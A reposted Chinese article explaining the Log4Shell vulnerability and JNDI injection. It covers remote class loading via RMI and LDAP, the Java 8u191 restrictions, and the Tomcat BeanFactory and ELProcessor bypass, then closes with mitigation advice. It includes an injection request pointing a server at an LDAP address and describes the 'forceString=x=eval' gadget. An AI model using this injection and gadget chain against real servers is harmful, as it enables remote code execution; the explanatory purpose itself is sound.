2022-10-04 分類: 網站建設
最新爆發的Log4j2安全遠程漏洞,又稱“Log4Shell”,讓整個互聯網陷入了威脅之中,大量企業和Java項目都在緊鑼密鼓的升級更新補丁,還有很多安全研究人員在研究復現和利用以及防范方法,我們今天就來說說相關的常識和進展。
Log4Shell漏洞(正式編號CVE-2021-44228) 歸根結底是一個非常簡單的JNDI注入漏洞。Log4J在擴展占位符時在記錄消息時候(或間接作為格式化消息的參數)執行JNDI lookup()操作。在默認配置中,JNDI支持兩種協議:RMI和LDAP。在這兩種情況下,lookup()的調用實際上是為了返回一個Java對象。這通常為序列化的Java對象,但是還有一個通過于間接構造的JNDI引用。這個對象和引用字節碼可以通過遠程URL加載代(java類.class)。
關于JNDI和JNDI注入JNDI,全稱Java Naming and Directory Interface(Java命名和目錄接口) 是Java中引入一種Java API,它允許客戶端通過名稱發現查找和共享Java數據和對象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI)、通用對象請求代理架構(CORBA)、輕量級目錄訪問協議(LDAP)或域名服務(DNS)等。
換句話說,JNDI是一個簡單的Java API,例如:InitialContext.lookup(String name)它只接受一個字符串參數,如果該參數來自不信任的來源,則可能會有遠程代碼的加載和執行。
當請求對象的名稱被攻擊者控制時,有可能將存在問題的Java應用程序指向惡意的rmi/ldap/corba 服務器并使用任意對象進行響應。如果該對象是“javax.naming.Reference”類的實例,則JNDI客戶端會嘗試解析此對象的“classFactory”和“classFactoryLocation”屬性。如果目標Java應用程序不知道“classFactory”值,Java將使用Java URLClassLoader 從“classFactoryLocation”位置獲取Factory字節碼。
由于它的簡單性,即使“InitialContext.lookup”方法沒有直接暴露到受污染的數據,它對于利用Java漏洞也非常有用。在某些情況下,它仍然可以通過反序列化或不安全反射攻擊來訪問。
一段易受攻擊的應用程序示例如下:
Java 8u191之前JNDI注入通過請求“/lookup/?name=ldap://127.0.0.1:1389/Object”的鏈接,可以讓易受攻擊的服務器連接到控制的地址,并觸發遠程類加載。
一個惡意RMI實例服務示例如下:
由于目標服務器不知道“ExploitObject”,它的字節碼將從_attacke_指定的服務加載并執行觸發RCE遠程執行。
該方法在Java 8u121 中可良好運行,在Java 8u191 更新中,Oracle對LDAP添加了的限制,并發布了CVE-2018-3149補丁,關閉了JNDI遠程類加載。然而,仍然有可能通過JNDI注入觸發不可信數據的反序列化,但其利用高度依賴于現有的小工具。
Java 8u191+中利用JNDI注入從Java 8u191開始,當JNDI客戶端接收到一個Reference對象時,無論是在RMI還是在LDAP中,都不會使用其“classFactoryLocation”值。但是,仍然可以在“javaFactory”屬性中指定任意工廠類。
該類將用于從攻擊者控制的“javax.naming.Reference”中提取真實對象。它應該存在于目標類路徑中,實現“javax.naming.spi.ObjectFactory”并至少有一個“getObjectInstance”方法:
public interface ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception; }主要思想是在目標類路徑中找到一個Factory,它對引用的屬性做一些危險的事情。例如,在Apache Tomcat服務器的“org.apache.naming.factory.BeanFactory”類包含使用反射創建bean的邏輯:
“BeanFactory”類創建任意bean的實例并為所有屬性調用其設置器。目標bean 類名、屬性和屬性值都來自被攻擊者控制的Reference對象。
目標類應該有一個公共的無參數構造函數和只有一個“字符串”參數的公共設置器。 事實上,這些 setter 可能不一定從 'set..' 開始,因為“BeanFactory”包含一些為任何參數指定任意setter名稱的邏輯。
這里使用的魔法屬性是“forceString”。 例如,通過將其設置為“x=eval”,我們可以對屬性“x”進行名稱為“eval”而不是“setX”的方法調用。
因此,通過利用“BeanFactory”類,我們可以使用默認構造函數創建任意類的實例,并使用一個“String”參數調用任何公共方法。
此處可能有用的類之一是“javax.el.ELProcessor”。 在它的“eval”方法中,可以指定一個字符串來表示要執行的Java表達式語言模板。
一個在評估時執行任意命令的惡意表達式:
編寫一個示例的RMI服務器,它以精心制作的“ResourceRef”對象進行響應:
該服務以“org.apache.naming.ResourceRef”的序列化對象進行響應,其中包含了精心設計的屬性在客戶端觸發所需的行為。
然后在受害Java進程上觸發JNDI解析:
當這個對象被反序列化時,不會發生任何不受歡迎的事情。但由于它仍然擴展“javax.naming.Reference”,“org.apache.naming.factory.BeanFactory”工廠將在受害者方使用以從引用中獲取“真實”對象。在此階段,將觸發通過模板評估的遠程代碼執行,并執行“nslookup jndi.s.xxx”命令。
這里唯一的限制是目標Java應用程序的類路徑中應該有一個來自 Apache Tomcat服務器的“org.apache.naming.factory.BeanFactory”類,但其他應用程序服務器可能有自己的對象工廠,可以實現類似的功能。
總結實際問題不在JDK或Apache Tomcat=中,而是由于用戶將不可控數據傳遞給“InitialContext.lookup()”函數的自定義應用程序中。即使使用最新的漏洞完全修補的JDK中,它存在潛在的安全風險。
在許多情況下,其他漏洞(例如“不受信任數據的反序列化”)也可能導致JNDI解析。通過使用源代碼審查來防止這些漏洞始終是一個好主意。
長期以來,對于RMI和LDAP,的引用沒有做任何限制。這樣對攻擊者指定的JNDI RMI或LDA 名稱的lookup調用就會導致直接的遠程代碼執行。
自Java 8u121開始,RMI協議(但不是LDAP)默認不再允許遠程代碼庫。
LDAP之前有一個補丁(CVE-2009-1094),但這完全是對引用對象無效。因此,LDAP仍然允許直接遠程執行代碼。直到Java 8u191的 CVE-2018-3149漏洞補丁中才解決。
在Java 8u191版本之前,都存在從受控JNDI lookup遠程類加載任意代碼執行的風險。
但是新版本中RMI引用和工廠構造對象仍未被去除,只是禁止遠程代碼庫??梢酝ㄟ^Apache XBean BeanFactory 返回的引用來實現遠程代碼執行。只要該類在目標系統上本地可用既可以,例如被包含到Tomcat或者 WebSphere中則仍然有利用的可能。
另外,RMI本質上是基于Java序列化的,而LDAP支持一個特殊的對象類,從目錄中反序列化Java對象從lookup()返回。 在這兩種情況下,除非應用了全局反序列化過濾器,否則JNDI注入將會導致反序列化不受信任的攻擊者提供的數據。雖然有一定的攻擊的復雜性,在許多情況下,仍然可用于遠程代碼執行。
總之,不要依賴當前Java版本來解決這個問題,需要及時更新Log4j(或刪除JNDI lookup),或者禁用JNDI擴展才是完全的解決方案(可能不太現實)。
網站名稱:Log4Shell和JNDI注入的基本常識和目前進展
本文URL:http://m.newbst.com/news35/201635.html
成都網站建設公司_創新互聯,為您提供軟件開發、電子商務、全網營銷推廣、云服務器、網站設計、小程序開發
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯
猜你還喜歡下面的內容